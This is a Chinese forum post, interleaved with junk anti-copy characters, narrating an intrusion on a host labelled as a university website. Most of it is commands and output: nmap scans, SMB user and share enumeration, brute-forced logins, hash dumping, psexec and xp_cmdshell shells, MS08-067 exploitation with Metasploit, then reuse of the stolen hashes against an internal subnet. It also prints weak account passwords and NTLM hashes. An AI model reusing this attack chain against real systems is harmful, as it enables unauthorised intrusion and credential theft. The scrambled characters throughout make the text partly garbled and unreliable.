广西师范网站http://202.103.242.241/8 e' o k1 s9 [& Z5 E7 S1 \
6 e0 V( _ @4 j" g, n2 N# ^0 h
root@bt:~# nmap -sS -sV 202.103.242.241
0 ]" u9 k, L# J0 N
% I8 q* n& H4 V f- [& VStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
6 S/ S( f# o, E* v
: V: r+ s$ k! V( HNmap scan report for bogon (202.103.242.241)0 ]# h% |# Q1 G6 v# Q
$ [+ n* A+ a, z) @* bHost is up (0.00048s latency).
% @, o1 @. j8 n( M! ]; N. m
' }1 b2 A c# |2 G- Q+ yNot shown: 993 closed ports, z' M& F5 V$ o
, D3 a- V7 l! ~9 U& }, e
PORT STATE SERVICE VERSION+ k1 e+ n1 u1 u1 @% ]" j
4 X) p7 w2 I. i) h! o135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe): I N7 Z0 N% U# q! C4 V2 m
3 v# T [7 b) C* }. f' z8 E- t139/tcp open netbios-ssn
- E/ ]. g' k( ]4 @
8 X6 Y4 D) D* d+ x445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
( N( ?1 B Z4 E/ j( i) V9 Z3 J7 b, E! K" z, F V" K5 I$ L
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
5 b: O, j- S$ P' o& Y6 W2 d. A* F3 d( T- d& F; ~
1026/tcp open msrpc Microsoft Windows RPC
' m8 Z5 Q' Z) n/ E) a2 Z, @
0 ^# E; A2 P( d: T9 G3372/tcp open msdtc?( p7 |5 t' d5 @9 G3 E A
% V1 ?% f0 e2 r0 l' J8 S2 B3389/tcp open ms-term-serv?
. J% |( |1 ?! U7 q1 D6 D. f- I, L; p( i6 t5 P X M+ E
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
9 ]% p4 x2 ~5 \4 {4 A C( ?6 ?0 g aSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r" T& n) a+ }1 D2 \! ^
X4 b. P& D2 w9 r8 g
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions$ M- W0 @% l$ d$ X: f g
4 P" H( ~" e7 j$ T
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
% f# |3 m6 p* P( a* Q) S5 d" R4 w5 C( l
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO; T! w3 m7 P2 v, B4 k! X' n( O& d
+ K1 G% B1 Z4 c/ D0 ?
SF:ptions,6,”hO\n\x000Z”);+ a% U2 U% U/ p2 Y/ l2 E
9 F+ T. D# @! h5 `/ {0 m5 vMAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)& t A4 c" J2 m! z1 E( I* v
3 o# Q0 F6 z6 [. M
Service Info: OS: Windows& k' E$ y) k/ \" B4 X0 G
7 l, H# L1 {8 ?" G& q; T" P: Y- TService detection performed. Please report any incorrect results at http://nmap.org/submit/ .
; I5 b1 ^3 I1 _3 S1 Q; \/ |6 ?; w* s0 n; |
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds6 K {7 |2 v( r( T0 P6 f! Y
( F6 u0 v! R$ ?( e' H1 i5 \) Iroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
; ?4 N* [+ p" X6 U) f
0 K. U: {" u( V2 q+ U-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
) {( L- l$ S, g' ^3 H! f1 d3 R0 k! y$ S
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse8 z' S% Z% k3 Q2 n- s
2 B5 `2 q9 t* W9 a& a7 F-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
, ]' ?* U$ r. a
; l, C: S( S! J1 b+ ]) g-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
/ G4 [: b& D/ Y# a" f8 k H
/ u7 ~% Y+ f8 ^, y1 ]-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse7 _+ i8 D+ X$ `2 c7 a% ^
5 Z8 ?* A8 c# F8 h( O
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse! K# C2 {2 Z! G* q9 R9 f
4 g8 p/ Y6 q4 e0 j3 `! ]-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse G+ m: }. [& ~" X# J _! Y! \! D# J$ C. l
/ T; _4 G1 Z4 F) U7 _& i
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse/ g- u+ a s3 n, M$ N+ h" b: C2 s
& i! E7 G: ~8 {-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
' x3 Q2 _: F& J6 d% f1 _1 ?5 L: Q" Q5 S! ~& ^; ~. E! Y* M
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
' s! w( ]5 B C
! q# ^0 } q( m3 h-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
8 K) H; F, a% S z
: n9 C& W9 E# p G9 U5 L-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
" m* G! z. A @, C9 \/ N# z* u3 Z7 `* }+ o. K8 r$ D3 S w& m
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
! x+ |5 E5 G, I1 x5 e8 [) ]
/ M; d% C1 D l, W9 U. K* k-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse& K0 S$ _' `, F7 l d X0 a
/ y( a. N0 {! Q8 O3 L-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
. w, Q! U+ a9 s5 {* Z/ F6 W& C
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
# L5 h2 j' \/ _! J6 O9 M- i# ?( w( m) n5 w& P
//此乃使用脚本扫描远程机器所存在的账户名1 q7 }( e) \& a& P" I; a
) Y4 G) L1 x, f( u3 W0 A
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST2 N2 ]9 N* w a. h
- t% |3 y: S! m. n8 A" q. F* G* u
Nmap scan report for bogon (202.103.242.241)& ]/ M2 V) J2 Y; N( }* M
9 l$ ]" T! ?( mHost is up (0.00038s latency).6 j( i$ L1 z: ^/ h1 u5 G( ^
4 t- ?1 e; S5 W6 V1 e
Not shown: 993 closed ports
/ n3 | e' ?" Q& ~4 l7 L' q9 p/ @0 U
. D4 e/ [" s+ s o8 y( |/ QPORT STATE SERVICE7 R: ^2 b% R& D* E( }5 \% a
/ b( ^: T" m5 o" ^( \5 o135/tcp open msrpc- D2 z& Y; j0 l1 f; P
8 Q" P/ g; n2 s X139/tcp open netbios-ssn" d' z. W5 W$ R7 d9 r+ t/ v. w
3 ~+ B! X8 V$ h# U445/tcp open microsoft-ds
' \! _" S k9 n! ]/ n7 u( X6 ?0 G, N+ n$ }; R: v Y
1025/tcp open NFS-or-IIS
2 L2 c1 r% R; K1 d* [, {/ [; g: p( H+ g6 m
1026/tcp open LSA-or-nterm
4 B1 @! R* t! O$ |+ ~- [6 a2 d: g/ [7 g6 I
3372/tcp open msdtc
6 |3 N2 W' W. Y+ d9 k/ _+ B- r
3389/tcp open ms-term-serv
" {* j$ z6 P' H7 M$ E J( k$ v# ^3 j4 L: Z! A! @+ {/ N4 c
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)5 j& z; ^& r' t$ O8 o. S0 \5 ]0 [
5 B7 Q8 {1 i" ~% \
Host script results:- ~; F; ^; n: ~' [4 [# v1 }* O
* v$ g- H- n/ G4 Q4 ^& m8 d9 K| smb-enum-users:
$ G& s9 S- {: M, e: I3 P$ I S% {1 J! Q0 J# ~. w
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果9 n6 d5 _; L2 `5 n" |
2 O+ _* y E' } J4 U
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds6 z6 {/ z8 u# F+ t/ v
; n" S, O7 \: q. `/ n9 n* g
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
1 K/ g8 k9 i2 J% p' |% L! e, ~* d+ K# _2 k/ t6 V
//查看共享
8 m& z- p/ r. @( Q7 V: f: q
8 ?* m& t% o# z' i+ n5 k5 J4 _Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST% E3 `. D& Q d1 M0 b" r
) u8 u6 z5 K+ N0 x
Nmap scan report for bogon (202.103.242.241)
' Q. |$ }! s3 l8 B6 H
( V4 c1 R8 t4 J7 f8 pHost is up (0.00035s latency).: ?% B) b1 R9 w- {; E
) Q6 y) V8 A3 T$ v
Not shown: 993 closed ports
4 {$ m6 N# T9 v# F5 W, \) x
1 _5 P! X' _: G0 Z. ^PORT STATE SERVICE+ f1 G3 }; T2 M# _
/ g$ h% u" z3 x3 n- ]4 T" s! x8 r135/tcp open msrpc
; O. u0 ?! g& |5 B' J/ N9 U, i5 B6 X9 s+ E+ @/ L+ _. y3 h9 y8 K
139/tcp open netbios-ssn
, f. W( |, `& `, ~* _6 t e- A2 Y6 n. L8 q* `: I" j
445/tcp open microsoft-ds' L9 J- h0 J5 y6 u6 |* P
3 o2 g% c8 H- q) U$ O1025/tcp open NFS-or-IIS
4 w( z4 \* J" X1 b& T
7 f; c' L: P, j! Q1026/tcp open LSA-or-nterm& N' R8 O0 P* T) S, x3 K0 w. W
i0 L4 B5 k* s5 [7 ~; P) X3372/tcp open msdtc
% c: X8 C, ~( B) V* y4 ]
$ L4 E V! n) N- O$ l3 z3389/tcp open ms-term-serv8 _- C& d% J ?4 p
1 d7 B" }: X" H
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
$ u9 Y1 _9 F# W( j/ O: l2 G0 F6 P' c
Host script results:. v6 K+ l5 w, D3 x- o
' t. N, K) y) r) W$ G3 z| smb-enum-shares:
+ ~+ C# h$ Z! d, B/ g( z
Q& K7 l5 M T9 W9 [0 S| ADMIN$( {/ d* {- k8 e+ U* D
/ Z' g% Q' p) Y( Y; Y) u
| Anonymous access: <none>: p5 R- d7 N) G) W4 a
~0 R8 c9 c$ A q7 Q+ y| C$
# k; s2 h) l: s. v
z( z$ A) ?# g, U( J3 P. q& e| Anonymous access: <none>
' a5 N, P+ Y5 I r7 k+ h% n1 `- t1 B/ E' b. T" Z8 ?6 c
| IPC$- j/ o: f( b( q+ N
( C4 X+ F# ^' @ a|_ Anonymous access: READ* l: t2 K5 i7 u5 q
3 u! K- @' d0 YNmap done: 1 IP address (1 host up) scanned in 1.05 seconds/ P4 x# L2 U7 |. V( T' K
( E& p9 ^( B0 P* ?
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
i% c4 E: d7 b/ C
, Z9 x6 d1 J1 v$ N% {//获取用户密码
) _+ }$ v0 i$ S1 O& D" E/ w
2 P/ {; ~/ i, E, @0 EStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST. j* k6 Z" F, f
- s% ]$ I+ C% l( _5 z
Nmap scan report for bogon (202.103.242.2418)& [6 G* L' l1 s% E: i. ^/ T
1 L. ?# Y8 ^# ]5 n$ F# c
Host is up (0.00041s latency).( @ n8 C+ G$ }- L7 d5 S
9 U* P. E2 [% P5 ?' w$ {6 Z( B9 j2 kNot shown: 993 closed ports k0 {) v) L) H7 _
3 y: V/ L3 ^5 q
PORT STATE SERVICE4 C: `9 h& B( v5 h9 r1 A' J2 J) C
: \3 t3 M+ X0 l7 R" m9 C
135/tcp open msrpc
9 ]' K2 G( j* H# K/ p Y) Q) s
6 ]$ I J! F# Q6 B139/tcp open netbios-ssn/ j V" G U- P. Q" c: }3 h
8 e) n6 b% r# s+ j. @4 {: u445/tcp open microsoft-ds9 Q9 a2 ?3 j: Z+ R& M/ s7 B% b1 B
$ a9 T8 |. a/ X3 @. q' M; h& H6 M
1025/tcp open NFS-or-IIS
) H* e1 z) c* l0 O* Y
5 L$ h. n6 L7 r2 H* K# H1026/tcp open LSA-or-nterm9 L) P" e/ P' @3 c
& G3 [0 N) q% w& p+ W" m3372/tcp open msdtc
) K* A; |& p' I5 @4 l
" a% A% R1 S% ~# L) j) }/ _+ o b3389/tcp open ms-term-serv
8 [" L+ E( k2 K8 m3 U; P
5 ]1 f* ^) x) A! @MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)# z. M1 V$ {4 i! J8 z
+ z8 D& L) e7 q; d% `
Host script results:1 d5 B9 l$ z4 f c
) i b# K8 f0 U3 Y* n7 x7 `| smb-brute:# j( S D7 {3 `1 \
& `5 F: ?0 B4 o: {
administrator:<blank> => Login was successful1 @0 D! r# x/ ~# Q' v) \* L# ~. t, w: n
% i; |/ i1 R. V/ [+ G+ ~
|_ test:123456 => Login was successful
5 N; ], ]' x' {, o( X/ P2 g& u2 h( s+ h3 k
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds5 n0 ?. B) J) L1 H) ~$ N* f
8 u1 ?" u# n9 I/ {% }1 wroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
2 Y& H* B G, n& n" d o# E7 R4 c' i
3 }4 b! u" Z @" R: zroot@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
' I) `9 g/ T$ P/ \: Q x2 u I6 E! M* }, ~6 R+ J
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
2 y* I, l: g' l; W' W. P$ ?
) g4 B- z5 o# {: E$ ~( T) o jroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
# m. R! a, f& }8 I( c6 W; J C9 Q' L. W2 D- w* K
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST# g1 M% x2 U& Q$ x' |
5 E8 w8 Z- k7 F* Y8 F8 T
Nmap scan report for bogon (202.103.242.241)3 {& g; S3 g% U
+ ^+ N8 q! ~! @* x+ G f0 t- CHost is up (0.0012s latency).
3 w9 b7 V# R4 s' W. [: V: ]( k% q9 x3 q, k
PORT STATE SERVICE! E. y! D4 o4 E1 ]
# B* ^+ E: O. B; w# @( S( M135/tcp open msrpc2 Y T' H4 K) j6 ?
- E8 g: j C5 q1 y0 C: Y3 l
139/tcp open netbios-ssn
! d% Q8 ?$ M$ \2 O. L
; E- I3 r9 G4 B) x4 ^445/tcp open microsoft-ds- j1 i2 m# F) }& s( l
6 s7 d5 e n5 C9 ~/ ]' t6 Z
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)* O7 P& \5 H9 y7 P" A2 w" u7 Q {3 c
# U# J# R2 S- v+ M% S$ t! kHost script results:
* z' y' g! _! ~% l5 Z6 K0 n1 q2 s5 s& A- ]. r
| smb-pwdump:1 U7 J" j$ F/ Z: {1 O
6 d+ T4 h( J: v5 i
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
1 Y- p9 c9 } m/ W" J/ n, q. z3 a7 r$ t+ B/ ~, F
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
* H; w! w# w) S0 E: r1 [% n( Y, U) U* [( e6 h* S( B- }/ q" @
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D48 H# X3 k2 h9 u
: N- y6 E/ g! Y4 ~
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D27 G3 n0 _8 _2 n) L$ v: c5 N) c$ M: Z
' Q& Z* e& j& j4 K, FNmap done: 1 IP address (1 host up) scanned in 1.85 seconds4 T7 d- t5 Z0 K) t. U5 B8 K0 P
0 P3 w, S8 U# g9 G5 H0 [. vC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
9 p7 C p. I# J; e# T2 M9 c4 a9 }, h
-p 123456 -e cmd.exe
. d/ M% a, j0 ^
. L; Y7 O1 Y) A& |2 {PsExec v1.55 – Execute processes remotely
5 c& q+ Q2 f9 L% W0 n9 B8 s4 V" f2 V
9 U2 ~ W& e' U. A, U/ LCopyright (C) 2001-2004 Mark Russinovich2 ?; P& R5 |5 N* S
9 [! Z2 G- c/ z! W8 E- L
Sysinternals – www.sysinternals.com5 f* ]7 L# @0 L( r" P4 i
' b O% B& V8 C: v$ DMicrosoft Windows 2000 [Version 5.00.2195]
' K! F( V$ G3 C0 F1 n
. z" H2 Y1 G* ~# Q( T(C) 版权所有 1985-2000 Microsoft Corp.
2 ~9 z# |. n' Z" \ Q! x) X+ m; H! q7 J, k$ C0 T
C:\WINNT\system32>ipconfig7 S; L/ Q( _! {6 J6 a
% p6 J& W3 v5 ?+ `# p1 y' wWindows 2000 IP Configuration
: Q- g {& d) E: U1 [7 d
: E7 C3 J; G8 GEthernet adapter 本地连接:8 D7 y" P8 Z/ F9 |3 C
: ~) u9 w5 W& o' W0 |Connection-specific DNS Suffix . :
8 d2 ~3 t4 a: [( z( R+ u0 C$ p/ O3 f, Z% q; u1 J% g2 [ i% G7 [
IP Address. . . . . . . . . . . . : 202.103.242.241
$ d' V- q5 ]3 P k, ]# B1 p6 H; h( d# ]; h! r( G: i
Subnet Mask . . . . . . . . . . . : 255.255.255.0
; w' I/ m; J0 @7 }* y7 S, D
! a: D& K. x9 W7 X! b4 GDefault Gateway . . . . . . . . . : 202.103.1.1! Z2 _( t" `( i B
% I5 Q* I7 G+ f! {4 X& `C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
, H# M* n& Y) @- U3 F) k9 a
4 }! d. ?6 D \root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
2 o: x4 s" ~( {8 u& @) Y6 w
' @+ q' x* D; `- eStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
6 O9 D! l: W: W+ u" z4 ~
+ c$ Q/ f" O( Q9 t- XNmap scan report for bogon (202.103.242.241)
( v s! f7 d( n; F3 h' f
6 |# ~0 y4 D! d5 z6 _8 J {Host is up (0.00046s latency).$ l ?% @- w1 m
6 c( o. k4 _; h7 `/ ^7 dNot shown: 993 closed ports
9 M; }% m4 n; j4 f4 e: B. n+ O! @0 M1 M4 |# s' w: g
PORT STATE SERVICE& b& M0 s8 V6 \- c7 R
6 ^; h* S; Y1 K+ ]0 l. b135/tcp open msrpc
( |8 f+ u$ O5 _/ N6 B( L+ R. \4 r& ?0 `0 n* _
139/tcp open netbios-ssn
# {- ?( X; F ^* B1 m
) I& Q( B8 N- k$ \- C445/tcp open microsoft-ds8 b$ G% _! g- j& k1 ~$ ^* o* J
8 Q9 o3 i3 m' Y3 b @+ J
1025/tcp open NFS-or-IIS
! v0 [# ^* A' \, ?. O! K1 Q
/ |% u$ R% A$ g' d; X1 j0 y/ p1026/tcp open LSA-or-nterm
8 F0 O' }( a- B% j: o/ o8 g/ I, f; j
3372/tcp open msdtc6 b$ ]: j3 c) w Z# v4 p- W" Q
8 m& V+ X! m6 a3389/tcp open ms-term-serv
0 @% o j2 h) W- @ \! ?' {7 j5 F* r! j0 U6 {/ |' Q
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
; ]( y9 v! W# w# C3 V& l6 V; x. O" ?/ o0 z
Host script results:
0 Q& R' v8 i7 P3 T% T
* d& y/ l3 X% }* N. b/ K| smb-check-vulns:) N" p4 R* Z( `4 o% d H. t2 ~6 }
% l9 ^: n {0 a, d/ A# O: ^|_ MS08-067: VULNERABLE
% g; E( y b2 u
& P u( T; u( A( LNmap done: 1 IP address (1 host up) scanned in 1.43 seconds C! a5 Y$ Q5 X6 g) i
3 P- T, `0 p7 P5 {. k
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出* ?9 H. l5 `4 |
6 X9 s3 Z0 Y4 y
msf > search ms08
. d8 } L) V8 b/ N- H8 \
8 a5 d0 D4 }% P4 h0 Q/ \msf > use exploit/windows/smb/ms08_067_netapi
9 F0 ]8 N2 w# d7 ?) R: m/ y3 |4 ~, K2 h ?/ D7 q
msf exploit(ms08_067_netapi) > show options
& Y. y4 l, W/ E) E \) K2 Q
. |+ v5 z- y7 ?( `0 K8 p$ Fmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241$ F" i& I5 M# m2 a
/ Y3 y# T! Y3 E
msf exploit(ms08_067_netapi) > show payloads
$ B8 b. R- _* @3 H- W5 ]! s: K& U! n$ [$ [2 i% Q
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
" b; D7 G5 A! w& |! G: ^9 s |1 M! ~9 ~" A. x
msf exploit(ms08_067_netapi) > exploit) \# h" R. C3 X+ Y. B/ N" V
8 F1 y4 A. v9 S3 ^, k" a1 |& [meterpreter >$ p H; u7 H- t' k+ P/ `) V
7 m- y* X8 g/ a' ^+ A/ [( `Background session 2? [y/N] (ctrl+z)9 l2 `+ f& A1 w/ s! W
7 n/ P6 @" Y6 J$ ~4 d% K& _: D
msf exploit(ms08_067_netapi) > sessions -l Z% z9 x+ N# D
8 X) u! D% I, S; w! t* ], |6 w
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt, E& ^( B) T9 U6 K. C5 T
- J$ A, r" k L3 y
test. \& p+ Z# R9 m* O5 @" P3 L
) t" C) n) R3 v7 B% N; z- s
administrator+ d) W0 r& ^8 P+ ]
5 l8 U% _2 O6 _& I3 F5 q( g: ]
root@bt:/usr/local/share/nmap/scripts# vim password.txt+ Q6 t% d* e4 P' X
+ R# e+ C4 e* a& o4 \44EFCE164AB921CAAAD3B435B51404EE. f2 q1 D0 e* Y" v! ^, K# S
1 r2 F1 {6 ?' ]3 r8 x
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
- @7 V1 k$ A4 Y! j6 i3 n6 L! i! P5 ?3 r9 Y; G: w+ z7 I; ~
//利用用户名跟获取的hash尝试对整段内网进行登录
2 Z2 R5 Q: A4 M0 o9 D9 Q) a
! F' m7 E% E0 o/ w; qNmap scan report for 192.168.1.1057 g" v& ^4 X0 O/ m( v* j, U
, i3 c8 r2 w2 g2 E- xHost is up (0.00088s latency).
. G ]7 N6 A9 ]5 L) ]; ^$ q" L; g8 k, @: }% l% h
Not shown: 993 closed ports3 @* Y) S% H9 i$ e& C( ]
; n1 m V7 }7 f- E8 U6 ]PORT STATE SERVICE
8 z4 u+ I' A+ O6 ?- M; R% u' }) e2 P: S, g C. L- I% B
135/tcp open msrpc
* v( [2 @4 i( {0 Z' u6 N
, c ?5 Y6 G4 @! j/ b; T139/tcp open netbios-ssn8 a) }& c( \8 S& ?! L
2 |9 ]" X, k4 ]* Y# V- | B445/tcp open microsoft-ds
! Z ?) `3 f0 R7 D4 A% |3 y! n2 h: @. w# |1 i' [
1025/tcp open NFS-or-IIS% T; L- D* g1 O$ L( h2 k5 R
" ~* s m$ {' K/ V: w7 d1026/tcp open LSA-or-nterm. v& ~8 G5 x: u, e6 }
5 _# ?! }" B/ Y0 c" L3372/tcp open msdtc
6 y/ v: W; W% Z& h
9 T) x8 T8 i7 T7 y: t3389/tcp open ms-term-serv
9 f1 `/ h e9 A- ] T
. @' Z5 F6 H7 k: gMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems), C2 r9 A. y$ o0 W: y: A% r2 i
- a/ U6 f" M, z$ [/ B' H, fHost script results:
0 E9 }( y% ~ {) b& L+ n v6 c" F1 L+ ?. ? j
| smb-brute:
0 S4 J, s5 a5 Y% f( ]; i
$ k# D% h, c1 ?0 s: z: F8 I/ ^! h|_ administrator:<blank> => Login was successful. A* q+ `1 C/ A G( B4 B# F
. O! _0 P2 z- [; \
攻击成功，一个简单的msf+nmap攻击~~·( y! K2 W e% k! q
6 F; }' S( o( N ^) a |
发表于 2012-12-4 12:46:42
收藏
支持
反对